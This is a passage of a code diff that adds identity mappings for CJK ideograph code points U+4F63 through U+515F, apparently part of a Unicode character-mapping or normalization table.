+ ["\u4F63", "\u4F63"], /* CJK Ideograph */
+ ["\u4F64", "\u4F64"], /* CJK Ideograph */
+ ["\u4F65", "\u4F65"], /* CJK Ideograph */
+ ["\u4F66", "\u4F66"], /* CJK Ideograph */
+ ["\u4F67", "\u4F67"], /* CJK Ideograph */
+ ["\u4F68", "\u4F68"], /* CJK Ideograph */
+ ["\u4F69", "\u4F69"], /* CJK Ideograph */
+ ["\u4F6A", "\u4F6A"], /* CJK Ideograph */
+ ["\u4F6B", "\u4F6B"], /* CJK Ideograph */
+ ["\u4F6C", "\u4F6C"], /* CJK Ideograph */
+ ["\u4F6D", "\u4F6D"], /* CJK Ideograph */
+ ["\u4F6E", "\u4F6E"], /* CJK Ideograph */
+ ["\u4F6F", "\u4F6F"], /* CJK Ideograph */
+ ["\u4F70", "\u4F70"], /* CJK Ideograph */
+ ["\u4F71", "\u4F71"], /* CJK Ideograph */
+ ["\u4F72", "\u4F72"], /* CJK Ideograph */
+ ["\u4F73", "\u4F73"], /* CJK Ideograph */
+ ["\u4F74", "\u4F74"], /* CJK Ideograph */
+ ["\u4F75", "\u4F75"], /* CJK Ideograph */
+ ["\u4F76", "\u4F76"], /* CJK Ideograph */
+ ["\u4F77", "\u4F77"], /* CJK Ideograph */
+ ["\u4F78", "\u4F78"], /* CJK Ideograph */
+ ["\u4F79", "\u4F79"], /* CJK Ideograph */
+ ["\u4F7A", "\u4F7A"], /* CJK Ideograph */
+ ["\u4F7B", "\u4F7B"], /* CJK Ideograph */
+ ["\u4F7C", "\u4F7C"], /* CJK Ideograph */
+ ["\u4F7D", "\u4F7D"], /* CJK Ideograph */
+ ["\u4F7E", "\u4F7E"], /* CJK Ideograph */
+ ["\u4F7F", "\u4F7F"], /* CJK Ideograph */
+ ["\u4F80", "\u4F80"], /* CJK Ideograph */
+ ["\u4F81", "\u4F81"], /* CJK Ideograph */
+ ["\u4F82", "\u4F82"], /* CJK Ideograph */
+ ["\u4F83", "\u4F83"], /* CJK Ideograph */
+ ["\u4F84", "\u4F84"], /* CJK Ideograph */
+ ["\u4F85", "\u4F85"], /* CJK Ideograph */
+ ["\u4F86", "\u4F86"], /* CJK Ideograph */
+ ["\u4F87", "\u4F87"], /* CJK Ideograph */
+ ["\u4F88", "\u4F88"], /* CJK Ideograph */
+ ["\u4F89", "\u4F89"], /* CJK Ideograph */
+ ["\u4F8A", "\u4F8A"], /* CJK Ideograph */
+ ["\u4F8B", "\u4F8B"], /* CJK Ideograph */
+ ["\u4F8C", "\u4F8C"], /* CJK Ideograph */
+ ["\u4F8D", "\u4F8D"], /* CJK Ideograph */
+ ["\u4F8E", "\u4F8E"], /* CJK Ideograph */
+ ["\u4F8F", "\u4F8F"], /* CJK Ideograph */
+ ["\u4F90", "\u4F90"], /* CJK Ideograph */
+ ["\u4F91", "\u4F91"], /* CJK Ideograph */
+ ["\u4F92", "\u4F92"], /* CJK Ideograph */
+ ["\u4F93", "\u4F93"], /* CJK Ideograph */
+ ["\u4F94", "\u4F94"], /* CJK Ideograph */
+ ["\u4F95", "\u4F95"], /* CJK Ideograph */
+ ["\u4F96", "\u4F96"], /* CJK Ideograph */
+ ["\u4F97", "\u4F97"], /* CJK Ideograph */
+ ["\u4F98", "\u4F98"], /* CJK Ideograph */
+ ["\u4F99", "\u4F99"], /* CJK Ideograph */
+ ["\u4F9A", "\u4F9A"], /* CJK Ideograph */
+ ["\u4F9B", "\u4F9B"], /* CJK Ideograph */
+ ["\u4F9C", "\u4F9C"], /* CJK Ideograph */
+ ["\u4F9D", "\u4F9D"], /* CJK Ideograph */
+ ["\u4F9E", "\u4F9E"], /* CJK Ideograph */
+ ["\u4F9F", "\u4F9F"], /* CJK Ideograph */
+ ["\u4FA0", "\u4FA0"], /* CJK Ideograph */
+ ["\u4FA1", "\u4FA1"], /* CJK Ideograph */
+ ["\u4FA2", "\u4FA2"], /* CJK Ideograph */
+ ["\u4FA3", "\u4FA3"], /* CJK Ideograph */
+ ["\u4FA4", "\u4FA4"], /* CJK Ideograph */
+ ["\u4FA5", "\u4FA5"], /* CJK Ideograph */
+ ["\u4FA6", "\u4FA6"], /* CJK Ideograph */
+ ["\u4FA7", "\u4FA7"], /* CJK Ideograph */
+ ["\u4FA8", "\u4FA8"], /* CJK Ideograph */
+ ["\u4FA9", "\u4FA9"], /* CJK Ideograph */
+ ["\u4FAA", "\u4FAA"], /* CJK Ideograph */
+ ["\u4FAB", "\u4FAB"], /* CJK Ideograph */
+ ["\u4FAC", "\u4FAC"], /* CJK Ideograph */
+ ["\u4FAD", "\u4FAD"], /* CJK Ideograph */
+ ["\u4FAE", "\u4FAE"], /* CJK Ideograph */
+ ["\u4FAF", "\u4FAF"], /* CJK Ideograph */
+ ["\u4FB0", "\u4FB0"], /* CJK Ideograph */
+ ["\u4FB1", "\u4FB1"], /* CJK Ideograph */
+ ["\u4FB2", "\u4FB2"], /* CJK Ideograph */
+ ["\u4FB3", "\u4FB3"], /* CJK Ideograph */
+ ["\u4FB4", "\u4FB4"], /* CJK Ideograph */
+ ["\u4FB5", "\u4FB5"], /* CJK Ideograph */
+ ["\u4FB6", "\u4FB6"], /* CJK Ideograph */
+ ["\u4FB7", "\u4FB7"], /* CJK Ideograph */
+ ["\u4FB8", "\u4FB8"], /* CJK Ideograph */
+ ["\u4FB9", "\u4FB9"], /* CJK Ideograph */
+ ["\u4FBA", "\u4FBA"], /* CJK Ideograph */
+ ["\u4FBB", "\u4FBB"], /* CJK Ideograph */
+ ["\u4FBC", "\u4FBC"], /* CJK Ideograph */
+ ["\u4FBD", "\u4FBD"], /* CJK Ideograph */
+ ["\u4FBE", "\u4FBE"], /* CJK Ideograph */
+ ["\u4FBF", "\u4FBF"], /* CJK Ideograph */
+ ["\u4FC0", "\u4FC0"], /* CJK Ideograph */
+ ["\u4FC1", "\u4FC1"], /* CJK Ideograph */
+ ["\u4FC2", "\u4FC2"], /* CJK Ideograph */
+ ["\u4FC3", "\u4FC3"], /* CJK Ideograph */
+ ["\u4FC4", "\u4FC4"], /* CJK Ideograph */
+ ["\u4FC5", "\u4FC5"], /* CJK Ideograph */
+ ["\u4FC6", "\u4FC6"], /* CJK Ideograph */
+ ["\u4FC7", "\u4FC7"], /* CJK Ideograph */
+ ["\u4FC8", "\u4FC8"], /* CJK Ideograph */
+ ["\u4FC9", "\u4FC9"], /* CJK Ideograph */
+ ["\u4FCA", "\u4FCA"], /* CJK Ideograph */
+ ["\u4FCB", "\u4FCB"], /* CJK Ideograph */
+ ["\u4FCC", "\u4FCC"], /* CJK Ideograph */
+ ["\u4FCD", "\u4FCD"], /* CJK Ideograph */
+ ["\u4FCE", "\u4FCE"], /* CJK Ideograph */
+ ["\u4FCF", "\u4FCF"], /* CJK Ideograph */
+ ["\u4FD0", "\u4FD0"], /* CJK Ideograph */
+ ["\u4FD1", "\u4FD1"], /* CJK Ideograph */
+ ["\u4FD2", "\u4FD2"], /* CJK Ideograph */
+ ["\u4FD3", "\u4FD3"], /* CJK Ideograph */
+ ["\u4FD4", "\u4FD4"], /* CJK Ideograph */
+ ["\u4FD5", "\u4FD5"], /* CJK Ideograph */
+ ["\u4FD6", "\u4FD6"], /* CJK Ideograph */
+ ["\u4FD7", "\u4FD7"], /* CJK Ideograph */
+ ["\u4FD8", "\u4FD8"], /* CJK Ideograph */
+ ["\u4FD9", "\u4FD9"], /* CJK Ideograph */
+ ["\u4FDA", "\u4FDA"], /* CJK Ideograph */
+ ["\u4FDB", "\u4FDB"], /* CJK Ideograph */
+ ["\u4FDC", "\u4FDC"], /* CJK Ideograph */
+ ["\u4FDD", "\u4FDD"], /* CJK Ideograph */
+ ["\u4FDE", "\u4FDE"], /* CJK Ideograph */
+ ["\u4FDF", "\u4FDF"], /* CJK Ideograph */
+ ["\u4FE0", "\u4FE0"], /* CJK Ideograph */
+ ["\u4FE1", "\u4FE1"], /* CJK Ideograph */
+ ["\u4FE2", "\u4FE2"], /* CJK Ideograph */
+ ["\u4FE3", "\u4FE3"], /* CJK Ideograph */
+ ["\u4FE4", "\u4FE4"], /* CJK Ideograph */
+ ["\u4FE5", "\u4FE5"], /* CJK Ideograph */
+ ["\u4FE6", "\u4FE6"], /* CJK Ideograph */
+ ["\u4FE7", "\u4FE7"], /* CJK Ideograph */
+ ["\u4FE8", "\u4FE8"], /* CJK Ideograph */
+ ["\u4FE9", "\u4FE9"], /* CJK Ideograph */
+ ["\u4FEA", "\u4FEA"], /* CJK Ideograph */
+ ["\u4FEB", "\u4FEB"], /* CJK Ideograph */
+ ["\u4FEC", "\u4FEC"], /* CJK Ideograph */
+ ["\u4FED", "\u4FED"], /* CJK Ideograph */
+ ["\u4FEE", "\u4FEE"], /* CJK Ideograph */
+ ["\u4FEF", "\u4FEF"], /* CJK Ideograph */
+ ["\u4FF0", "\u4FF0"], /* CJK Ideograph */
+ ["\u4FF1", "\u4FF1"], /* CJK Ideograph */
+ ["\u4FF2", "\u4FF2"], /* CJK Ideograph */
+ ["\u4FF3", "\u4FF3"], /* CJK Ideograph */
+ ["\u4FF4", "\u4FF4"], /* CJK Ideograph */
+ ["\u4FF5", "\u4FF5"], /* CJK Ideograph */
+ ["\u4FF6", "\u4FF6"], /* CJK Ideograph */
+ ["\u4FF7", "\u4FF7"], /* CJK Ideograph */
+ ["\u4FF8", "\u4FF8"], /* CJK Ideograph */
+ ["\u4FF9", "\u4FF9"], /* CJK Ideograph */
+ ["\u4FFA", "\u4FFA"], /* CJK Ideograph */
+ ["\u4FFB", "\u4FFB"], /* CJK Ideograph */
+ ["\u4FFC", "\u4FFC"], /* CJK Ideograph */
+ ["\u4FFD", "\u4FFD"], /* CJK Ideograph */
+ ["\u4FFE", "\u4FFE"], /* CJK Ideograph */
+ ["\u4FFF", "\u4FFF"], /* CJK Ideograph */
+ ["\u5000", "\u5000"], /* CJK Ideograph */
+ ["\u5001", "\u5001"], /* CJK Ideograph */
+ ["\u5002", "\u5002"], /* CJK Ideograph */
+ ["\u5003", "\u5003"], /* CJK Ideograph */
+ ["\u5004", "\u5004"], /* CJK Ideograph */
+ ["\u5005", "\u5005"], /* CJK Ideograph */
+ ["\u5006", "\u5006"], /* CJK Ideograph */
+ ["\u5007", "\u5007"], /* CJK Ideograph */
+ ["\u5008", "\u5008"], /* CJK Ideograph */
+ ["\u5009", "\u5009"], /* CJK Ideograph */
+ ["\u500A", "\u500A"], /* CJK Ideograph */
+ ["\u500B", "\u500B"], /* CJK Ideograph */
+ ["\u500C", "\u500C"], /* CJK Ideograph */
+ ["\u500D", "\u500D"], /* CJK Ideograph */
+ ["\u500E", "\u500E"], /* CJK Ideograph */
+ ["\u500F", "\u500F"], /* CJK Ideograph */
+ ["\u5010", "\u5010"], /* CJK Ideograph */
+ ["\u5011", "\u5011"], /* CJK Ideograph */
+ ["\u5012", "\u5012"], /* CJK Ideograph */
+ ["\u5013", "\u5013"], /* CJK Ideograph */
+ ["\u5014", "\u5014"], /* CJK Ideograph */
+ ["\u5015", "\u5015"], /* CJK Ideograph */
+ ["\u5016", "\u5016"], /* CJK Ideograph */
+ ["\u5017", "\u5017"], /* CJK Ideograph */
+ ["\u5018", "\u5018"], /* CJK Ideograph */
+ ["\u5019", "\u5019"], /* CJK Ideograph */
+ ["\u501A", "\u501A"], /* CJK Ideograph */
+ ["\u501B", "\u501B"], /* CJK Ideograph */
+ ["\u501C", "\u501C"], /* CJK Ideograph */
+ ["\u501D", "\u501D"], /* CJK Ideograph */
+ ["\u501E", "\u501E"], /* CJK Ideograph */
+ ["\u501F", "\u501F"], /* CJK Ideograph */
+ ["\u5020", "\u5020"], /* CJK Ideograph */
+ ["\u5021", "\u5021"], /* CJK Ideograph */
+ ["\u5022", "\u5022"], /* CJK Ideograph */
+ ["\u5023", "\u5023"], /* CJK Ideograph */
+ ["\u5024", "\u5024"], /* CJK Ideograph */
+ ["\u5025", "\u5025"], /* CJK Ideograph */
+ ["\u5026", "\u5026"], /* CJK Ideograph */
+ ["\u5027", "\u5027"], /* CJK Ideograph */
+ ["\u5028", "\u5028"], /* CJK Ideograph */
+ ["\u5029", "\u5029"], /* CJK Ideograph */
+ ["\u502A", "\u502A"], /* CJK Ideograph */
+ ["\u502B", "\u502B"], /* CJK Ideograph */
+ ["\u502C", "\u502C"], /* CJK Ideograph */
+ ["\u502D", "\u502D"], /* CJK Ideograph */
+ ["\u502E", "\u502E"], /* CJK Ideograph */
+ ["\u502F", "\u502F"], /* CJK Ideograph */
+ ["\u5030", "\u5030"], /* CJK Ideograph */
+ ["\u5031", "\u5031"], /* CJK Ideograph */
+ ["\u5032", "\u5032"], /* CJK Ideograph */
+ ["\u5033", "\u5033"], /* CJK Ideograph */
+ ["\u5034", "\u5034"], /* CJK Ideograph */
+ ["\u5035", "\u5035"], /* CJK Ideograph */
+ ["\u5036", "\u5036"], /* CJK Ideograph */
+ ["\u5037", "\u5037"], /* CJK Ideograph */
+ ["\u5038", "\u5038"], /* CJK Ideograph */
+ ["\u5039", "\u5039"], /* CJK Ideograph */
+ ["\u503A", "\u503A"], /* CJK Ideograph */
+ ["\u503B", "\u503B"], /* CJK Ideograph */
+ ["\u503C", "\u503C"], /* CJK Ideograph */
+ ["\u503D", "\u503D"], /* CJK Ideograph */
+ ["\u503E", "\u503E"], /* CJK Ideograph */
+ ["\u503F", "\u503F"], /* CJK Ideograph */
+ ["\u5040", "\u5040"], /* CJK Ideograph */
+ ["\u5041", "\u5041"], /* CJK Ideograph */
+ ["\u5042", "\u5042"], /* CJK Ideograph */
+ ["\u5043", "\u5043"], /* CJK Ideograph */
+ ["\u5044", "\u5044"], /* CJK Ideograph */
+ ["\u5045", "\u5045"], /* CJK Ideograph */
+ ["\u5046", "\u5046"], /* CJK Ideograph */
+ ["\u5047", "\u5047"], /* CJK Ideograph */
+ ["\u5048", "\u5048"], /* CJK Ideograph */
+ ["\u5049", "\u5049"], /* CJK Ideograph */
+ ["\u504A", "\u504A"], /* CJK Ideograph */
+ ["\u504B", "\u504B"], /* CJK Ideograph */
+ ["\u504C", "\u504C"], /* CJK Ideograph */
+ ["\u504D", "\u504D"], /* CJK Ideograph */
+ ["\u504E", "\u504E"], /* CJK Ideograph */
+ ["\u504F", "\u504F"], /* CJK Ideograph */
+ ["\u5050", "\u5050"], /* CJK Ideograph */
+ ["\u5051", "\u5051"], /* CJK Ideograph */
+ ["\u5052", "\u5052"], /* CJK Ideograph */
+ ["\u5053", "\u5053"], /* CJK Ideograph */
+ ["\u5054", "\u5054"], /* CJK Ideograph */
+ ["\u5055", "\u5055"], /* CJK Ideograph */
+ ["\u5056", "\u5056"], /* CJK Ideograph */
+ ["\u5057", "\u5057"], /* CJK Ideograph */
+ ["\u5058", "\u5058"], /* CJK Ideograph */
+ ["\u5059", "\u5059"], /* CJK Ideograph */
+ ["\u505A", "\u505A"], /* CJK Ideograph */
+ ["\u505B", "\u505B"], /* CJK Ideograph */
+ ["\u505C", "\u505C"], /* CJK Ideograph */
+ ["\u505D", "\u505D"], /* CJK Ideograph */
+ ["\u505E", "\u505E"], /* CJK Ideograph */
+ ["\u505F", "\u505F"], /* CJK Ideograph */
+ ["\u5060", "\u5060"], /* CJK Ideograph */
+ ["\u5061", "\u5061"], /* CJK Ideograph */
+ ["\u5062", "\u5062"], /* CJK Ideograph */
+ ["\u5063", "\u5063"], /* CJK Ideograph */
+ ["\u5064", "\u5064"], /* CJK Ideograph */
+ ["\u5065", "\u5065"], /* CJK Ideograph */
+ ["\u5066", "\u5066"], /* CJK Ideograph */
+ ["\u5067", "\u5067"], /* CJK Ideograph */
+ ["\u5068", "\u5068"], /* CJK Ideograph */
+ ["\u5069", "\u5069"], /* CJK Ideograph */
+ ["\u506A", "\u506A"], /* CJK Ideograph */
+ ["\u506B", "\u506B"], /* CJK Ideograph */
+ ["\u506C", "\u506C"], /* CJK Ideograph */
+ ["\u506D", "\u506D"], /* CJK Ideograph */
+ ["\u506E", "\u506E"], /* CJK Ideograph */
+ ["\u506F", "\u506F"], /* CJK Ideograph */
+ ["\u5070", "\u5070"], /* CJK Ideograph */
+ ["\u5071", "\u5071"], /* CJK Ideograph */
+ ["\u5072", "\u5072"], /* CJK Ideograph */
+ ["\u5073", "\u5073"], /* CJK Ideograph */
+ ["\u5074", "\u5074"], /* CJK Ideograph */
+ ["\u5075", "\u5075"], /* CJK Ideograph */
+ ["\u5076", "\u5076"], /* CJK Ideograph */
+ ["\u5077", "\u5077"], /* CJK Ideograph */
+ ["\u5078", "\u5078"], /* CJK Ideograph */
+ ["\u5079", "\u5079"], /* CJK Ideograph */
+ ["\u507A", "\u507A"], /* CJK Ideograph */
+ ["\u507B", "\u507B"], /* CJK Ideograph */
+ ["\u507C", "\u507C"], /* CJK Ideograph */
+ ["\u507D", "\u507D"], /* CJK Ideograph */
+ ["\u507E", "\u507E"], /* CJK Ideograph */
+ ["\u507F", "\u507F"], /* CJK Ideograph */
+ ["\u5080", "\u5080"], /* CJK Ideograph */
+ ["\u5081", "\u5081"], /* CJK Ideograph */
+ ["\u5082", "\u5082"], /* CJK Ideograph */
+ ["\u5083", "\u5083"], /* CJK Ideograph */
+ ["\u5084", "\u5084"], /* CJK Ideograph */
+ ["\u5085", "\u5085"], /* CJK Ideograph */
+ ["\u5086", "\u5086"], /* CJK Ideograph */
+ ["\u5087", "\u5087"], /* CJK Ideograph */
+ ["\u5088", "\u5088"], /* CJK Ideograph */
+ ["\u5089", "\u5089"], /* CJK Ideograph */
+ ["\u508A", "\u508A"], /* CJK Ideograph */
+ ["\u508B", "\u508B"], /* CJK Ideograph */
+ ["\u508C", "\u508C"], /* CJK Ideograph */
+ ["\u508D", "\u508D"], /* CJK Ideograph */
+ ["\u508E", "\u508E"], /* CJK Ideograph */
+ ["\u508F", "\u508F"], /* CJK Ideograph */
+ ["\u5090", "\u5090"], /* CJK Ideograph */
+ ["\u5091", "\u5091"], /* CJK Ideograph */
+ ["\u5092", "\u5092"], /* CJK Ideograph */
+ ["\u5093", "\u5093"], /* CJK Ideograph */
+ ["\u5094", "\u5094"], /* CJK Ideograph */
+ ["\u5095", "\u5095"], /* CJK Ideograph */
+ ["\u5096", "\u5096"], /* CJK Ideograph */
+ ["\u5097", "\u5097"], /* CJK Ideograph */
+ ["\u5098", "\u5098"], /* CJK Ideograph */
+ ["\u5099", "\u5099"], /* CJK Ideograph */
+ ["\u509A", "\u509A"], /* CJK Ideograph */
+ ["\u509B", "\u509B"], /* CJK Ideograph */
+ ["\u509C", "\u509C"], /* CJK Ideograph */
+ ["\u509D", "\u509D"], /* CJK Ideograph */
+ ["\u509E", "\u509E"], /* CJK Ideograph */
+ ["\u509F", "\u509F"], /* CJK Ideograph */
+ ["\u50A0", "\u50A0"], /* CJK Ideograph */
+ ["\u50A1", "\u50A1"], /* CJK Ideograph */
+ ["\u50A2", "\u50A2"], /* CJK Ideograph */
+ ["\u50A3", "\u50A3"], /* CJK Ideograph */
+ ["\u50A4", "\u50A4"], /* CJK Ideograph */
+ ["\u50A5", "\u50A5"], /* CJK Ideograph */
+ ["\u50A6", "\u50A6"], /* CJK Ideograph */
+ ["\u50A7", "\u50A7"], /* CJK Ideograph */
+ ["\u50A8", "\u50A8"], /* CJK Ideograph */
+ ["\u50A9", "\u50A9"], /* CJK Ideograph */
+ ["\u50AA", "\u50AA"], /* CJK Ideograph */
+ ["\u50AB", "\u50AB"], /* CJK Ideograph */
+ ["\u50AC", "\u50AC"], /* CJK Ideograph */
+ ["\u50AD", "\u50AD"], /* CJK Ideograph */
+ ["\u50AE", "\u50AE"], /* CJK Ideograph */
+ ["\u50AF", "\u50AF"], /* CJK Ideograph */
+ ["\u50B0", "\u50B0"], /* CJK Ideograph */
+ ["\u50B1", "\u50B1"], /* CJK Ideograph */
+ ["\u50B2", "\u50B2"], /* CJK Ideograph */
+ ["\u50B3", "\u50B3"], /* CJK Ideograph */
+ ["\u50B4", "\u50B4"], /* CJK Ideograph */
+ ["\u50B5", "\u50B5"], /* CJK Ideograph */
+ ["\u50B6", "\u50B6"], /* CJK Ideograph */
+ ["\u50B7", "\u50B7"], /* CJK Ideograph */
+ ["\u50B8", "\u50B8"], /* CJK Ideograph */
+ ["\u50B9", "\u50B9"], /* CJK Ideograph */
+ ["\u50BA", "\u50BA"], /* CJK Ideograph */
+ ["\u50BB", "\u50BB"], /* CJK Ideograph */
+ ["\u50BC", "\u50BC"], /* CJK Ideograph */
+ ["\u50BD", "\u50BD"], /* CJK Ideograph */
+ ["\u50BE", "\u50BE"], /* CJK Ideograph */
+ ["\u50BF", "\u50BF"], /* CJK Ideograph */
+ ["\u50C0", "\u50C0"], /* CJK Ideograph */
+ ["\u50C1", "\u50C1"], /* CJK Ideograph */
+ ["\u50C2", "\u50C2"], /* CJK Ideograph */
+ ["\u50C3", "\u50C3"], /* CJK Ideograph */
+ ["\u50C4", "\u50C4"], /* CJK Ideograph */
+ ["\u50C5", "\u50C5"], /* CJK Ideograph */
+ ["\u50C6", "\u50C6"], /* CJK Ideograph */
+ ["\u50C7", "\u50C7"], /* CJK Ideograph */
+ ["\u50C8", "\u50C8"], /* CJK Ideograph */
+ ["\u50C9", "\u50C9"], /* CJK Ideograph */
+ ["\u50CA", "\u50CA"], /* CJK Ideograph */
+ ["\u50CB", "\u50CB"], /* CJK Ideograph */
+ ["\u50CC", "\u50CC"], /* CJK Ideograph */
+ ["\u50CD", "\u50CD"], /* CJK Ideograph */
+ ["\u50CE", "\u50CE"], /* CJK Ideograph */
+ ["\u50CF", "\u50CF"], /* CJK Ideograph */
+ ["\u50D0", "\u50D0"], /* CJK Ideograph */
+ ["\u50D1", "\u50D1"], /* CJK Ideograph */
+ ["\u50D2", "\u50D2"], /* CJK Ideograph */
+ ["\u50D3", "\u50D3"], /* CJK Ideograph */
+ ["\u50D4", "\u50D4"], /* CJK Ideograph */
+ ["\u50D5", "\u50D5"], /* CJK Ideograph */
+ ["\u50D6", "\u50D6"], /* CJK Ideograph */
+ ["\u50D7", "\u50D7"], /* CJK Ideograph */
+ ["\u50D8", "\u50D8"], /* CJK Ideograph */
+ ["\u50D9", "\u50D9"], /* CJK Ideograph */
+ ["\u50DA", "\u50DA"], /* CJK Ideograph */
+ ["\u50DB", "\u50DB"], /* CJK Ideograph */
+ ["\u50DC", "\u50DC"], /* CJK Ideograph */
+ ["\u50DD", "\u50DD"], /* CJK Ideograph */
+ ["\u50DE", "\u50DE"], /* CJK Ideograph */
+ ["\u50DF", "\u50DF"], /* CJK Ideograph */
+ ["\u50E0", "\u50E0"], /* CJK Ideograph */
+ ["\u50E1", "\u50E1"], /* CJK Ideograph */
+ ["\u50E2", "\u50E2"], /* CJK Ideograph */
+ ["\u50E3", "\u50E3"], /* CJK Ideograph */
+ ["\u50E4", "\u50E4"], /* CJK Ideograph */
+ ["\u50E5", "\u50E5"], /* CJK Ideograph */
+ ["\u50E6", "\u50E6"], /* CJK Ideograph */
+ ["\u50E7", "\u50E7"], /* CJK Ideograph */
+ ["\u50E8", "\u50E8"], /* CJK Ideograph */
+ ["\u50E9", "\u50E9"], /* CJK Ideograph */
+ ["\u50EA", "\u50EA"], /* CJK Ideograph */
+ ["\u50EB", "\u50EB"], /* CJK Ideograph */
+ ["\u50EC", "\u50EC"], /* CJK Ideograph */
+ ["\u50ED", "\u50ED"], /* CJK Ideograph */
+ ["\u50EE", "\u50EE"], /* CJK Ideograph */
+ ["\u50EF", "\u50EF"], /* CJK Ideograph */
+ ["\u50F0", "\u50F0"], /* CJK Ideograph */
+ ["\u50F1", "\u50F1"], /* CJK Ideograph */
+ ["\u50F2", "\u50F2"], /* CJK Ideograph */
+ ["\u50F3", "\u50F3"], /* CJK Ideograph */
+ ["\u50F4", "\u50F4"], /* CJK Ideograph */
+ ["\u50F5", "\u50F5"], /* CJK Ideograph */
+ ["\u50F6", "\u50F6"], /* CJK Ideograph */
+ ["\u50F7", "\u50F7"], /* CJK Ideograph */
+ ["\u50F8", "\u50F8"], /* CJK Ideograph */
+ ["\u50F9", "\u50F9"], /* CJK Ideograph */
+ ["\u50FA", "\u50FA"], /* CJK Ideograph */
+ ["\u50FB", "\u50FB"], /* CJK Ideograph */
+ ["\u50FC", "\u50FC"], /* CJK Ideograph */
+ ["\u50FD", "\u50FD"], /* CJK Ideograph */
+ ["\u50FE", "\u50FE"], /* CJK Ideograph */
+ ["\u50FF", "\u50FF"], /* CJK Ideograph */
+ ["\u5100", "\u5100"], /* CJK Ideograph */
+ ["\u5101", "\u5101"], /* CJK Ideograph */
+ ["\u5102", "\u5102"], /* CJK Ideograph */
+ ["\u5103", "\u5103"], /* CJK Ideograph */
+ ["\u5104", "\u5104"], /* CJK Ideograph */
+ ["\u5105", "\u5105"], /* CJK Ideograph */
+ ["\u5106", "\u5106"], /* CJK Ideograph */
+ ["\u5107", "\u5107"], /* CJK Ideograph */
+ ["\u5108", "\u5108"], /* CJK Ideograph */
+ ["\u5109", "\u5109"], /* CJK Ideograph */
+ ["\u510A", "\u510A"], /* CJK Ideograph */
+ ["\u510B", "\u510B"], /* CJK Ideograph */
+ ["\u510C", "\u510C"], /* CJK Ideograph */
+ ["\u510D", "\u510D"], /* CJK Ideograph */
+ ["\u510E", "\u510E"], /* CJK Ideograph */
+ ["\u510F", "\u510F"], /* CJK Ideograph */
+ ["\u5110", "\u5110"], /* CJK Ideograph */
+ ["\u5111", "\u5111"], /* CJK Ideograph */
+ ["\u5112", "\u5112"], /* CJK Ideograph */
+ ["\u5113", "\u5113"], /* CJK Ideograph */
+ ["\u5114", "\u5114"], /* CJK Ideograph */
+ ["\u5115", "\u5115"], /* CJK Ideograph */
+ ["\u5116", "\u5116"], /* CJK Ideograph */
+ ["\u5117", "\u5117"], /* CJK Ideograph */
+ ["\u5118", "\u5118"], /* CJK Ideograph */
+ ["\u5119", "\u5119"], /* CJK Ideograph */
+ ["\u511A", "\u511A"], /* CJK Ideograph */
+ ["\u511B", "\u511B"], /* CJK Ideograph */
+ ["\u511C", "\u511C"], /* CJK Ideograph */
+ ["\u511D", "\u511D"], /* CJK Ideograph */
+ ["\u511E", "\u511E"], /* CJK Ideograph */
+ ["\u511F", "\u511F"], /* CJK Ideograph */
+ ["\u5120", "\u5120"], /* CJK Ideograph */
+ ["\u5121", "\u5121"], /* CJK Ideograph */
+ ["\u5122", "\u5122"], /* CJK Ideograph */
+ ["\u5123", "\u5123"], /* CJK Ideograph */
+ ["\u5124", "\u5124"], /* CJK Ideograph */
+ ["\u5125", "\u5125"], /* CJK Ideograph */
+ ["\u5126", "\u5126"], /* CJK Ideograph */
+ ["\u5127", "\u5127"], /* CJK Ideograph */
+ ["\u5128", "\u5128"], /* CJK Ideograph */
+ ["\u5129", "\u5129"], /* CJK Ideograph */
+ ["\u512A", "\u512A"], /* CJK Ideograph */
+ ["\u512B", "\u512B"], /* CJK Ideograph */
+ ["\u512C", "\u512C"], /* CJK Ideograph */
+ ["\u512D", "\u512D"], /* CJK Ideograph */
+ ["\u512E", "\u512E"], /* CJK Ideograph */
+ ["\u512F", "\u512F"], /* CJK Ideograph */
+ ["\u5130", "\u5130"], /* CJK Ideograph */
+ ["\u5131", "\u5131"], /* CJK Ideograph */
+ ["\u5132", "\u5132"], /* CJK Ideograph */
+ ["\u5133", "\u5133"], /* CJK Ideograph */
+ ["\u5134", "\u5134"], /* CJK Ideograph */
+ ["\u5135", "\u5135"], /* CJK Ideograph */
+ ["\u5136", "\u5136"], /* CJK Ideograph */
+ ["\u5137", "\u5137"], /* CJK Ideograph */
+ ["\u5138", "\u5138"], /* CJK Ideograph */
+ ["\u5139", "\u5139"], /* CJK Ideograph */
+ ["\u513A", "\u513A"], /* CJK Ideograph */
+ ["\u513B", "\u513B"], /* CJK Ideograph */
+ ["\u513C", "\u513C"], /* CJK Ideograph */
+ ["\u513D", "\u513D"], /* CJK Ideograph */
+ ["\u513E", "\u513E"], /* CJK Ideograph */
+ ["\u513F", "\u513F"], /* CJK Ideograph */
+ ["\u5140", "\u5140"], /* CJK Ideograph */
+ ["\u5141", "\u5141"], /* CJK Ideograph */
+ ["\u5142", "\u5142"], /* CJK Ideograph */
+ ["\u5143", "\u5143"], /* CJK Ideograph */
+ ["\u5144", "\u5144"], /* CJK Ideograph */
+ ["\u5145", "\u5145"], /* CJK Ideograph */
+ ["\u5146", "\u5146"], /* CJK Ideograph */
+ ["\u5147", "\u5147"], /* CJK Ideograph */
+ ["\u5148", "\u5148"], /* CJK Ideograph */
+ ["\u5149", "\u5149"], /* CJK Ideograph */
+ ["\u514A", "\u514A"], /* CJK Ideograph */
+ ["\u514B", "\u514B"], /* CJK Ideograph */
+ ["\u514C", "\u514C"], /* CJK Ideograph */
+ ["\u514D", "\u514D"], /* CJK Ideograph */
+ ["\u514E", "\u514E"], /* CJK Ideograph */
+ ["\u514F", "\u514F"], /* CJK Ideograph */
+ ["\u5150", "\u5150"], /* CJK Ideograph */
+ ["\u5151", "\u5151"], /* CJK Ideograph */
+ ["\u5152", "\u5152"], /* CJK Ideograph */
+ ["\u5153", "\u5153"], /* CJK Ideograph */
+ ["\u5154", "\u5154"], /* CJK Ideograph */
+ ["\u5155", "\u5155"], /* CJK Ideograph */
+ ["\u5156", "\u5156"], /* CJK Ideograph */
+ ["\u5157", "\u5157"], /* CJK Ideograph */
+ ["\u5158", "\u5158"], /* CJK Ideograph */
+ ["\u5159", "\u5159"], /* CJK Ideograph */
+ ["\u515A", "\u515A"], /* CJK Ideograph */
+ ["\u515B", "\u515B"], /* CJK Ideograph */
+ ["\u515C", "\u515C"], /* CJK Ideograph */
+ ["\u515D", "\u515D"], /* CJK Ideograph */
+ ["\u515E", "\u515E"], /* CJK Ideograph */
+ ["\u515F", "\u515F"], /* CJK Ideograph */
